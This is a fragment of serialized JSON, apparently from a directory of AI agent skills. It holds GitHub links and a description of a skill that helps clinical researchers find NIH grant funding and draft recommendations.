query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]